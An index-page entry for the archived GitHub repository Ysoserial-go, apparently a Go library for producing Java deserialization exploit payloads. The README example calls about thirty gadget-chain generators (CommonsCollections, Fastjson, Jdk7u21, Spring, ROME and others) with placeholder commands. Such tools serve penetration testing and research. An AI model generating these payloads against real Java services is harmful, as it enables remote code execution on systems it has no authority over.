Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/qi4L/Ysoserial-go
A Go library for generating Java deserialization payloads.
https://github.com/qi4L/Ysoserial-go
Last synced: 21 days ago
JSON representation
A Go library for generating Java deserialization payloads.
- Host: GitHub
- URL: https://github.com/qi4L/Ysoserial-go
- Owner: qi4L
- Archived: true
- Created: 2023-03-11T06:47:56.000Z (almost 2 years ago)
- Default Branch: master
- Last Pushed: 2024-09-09T13:31:00.000Z (3 months ago)
- Last Synced: 2024-11-15T20:36:48.439Z (26 days ago)
- Language: Go
- Homepage:
- Size: 51.8 KB
- Stars: 158
- Watchers: 3
- Forks: 15
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - nu1r/GlangYsoserial.java - 一个生成JAVA反序列化流的GO库 (Go)
README
# Usage example
```go
package mainimport (
"encoding/hex"
"fmt"
"github.com/nu1r/GlangYsoserial"
)func main() {
// If you need to use a Gadget implemented by the TemplatesImpl class, you can call the return value of the TemplatesImpl function as a parameter.
// 命令超过15个字符请另行实现此处,否则字节不对其。
fmt.Println(hex.Dump(ysoserial.TemplatesImpl("example command")))fmt.Println(hex.Dump(ysoserial.URLDNS("example domain")))
fmt.Println(hex.Dump(ysoserial.Click1([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.Clojure("example command")))
fmt.Println(hex.Dump(ysoserial.CommonsBeanutils1([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.CommonsBeanutils2([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.CommonsCollections1("example command")))
fmt.Println(hex.Dump(ysoserial.CommonsCollections2([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.CommonsCollections3([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.CommonsCollections4([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.CommonsCollections5("example command")))
fmt.Println(hex.Dump(ysoserial.CommonsCollections6("example command")))
fmt.Println(hex.Dump(ysoserial.CommonsCollections7("example command")))
fmt.Println(hex.Dump(ysoserial.CommonsCollections8([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.CommonsCollections9("example command")))
fmt.Println(hex.Dump(ysoserial.CommonsCollections10([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.CommonsCollections11("example command")))
fmt.Println(hex.Dump(ysoserial.CommonsCollections12("example command")))
fmt.Println(hex.Dump(ysoserial.CommonsCollectionsK1([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.CommonsCollectionsK2([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.Fastjson1([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.Fastjson2([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.Groovy1("example command")))
fmt.Println(hex.Dump(ysoserial.Jdk7u21([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.Jdk8u20([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.JSON1([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.ROME([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.ROME2([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.ROME3([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.Spring1([]byte("example bytes"))))
fmt.Println(hex.Dump(ysoserial.Spring2([]byte("example bytes"))))
}```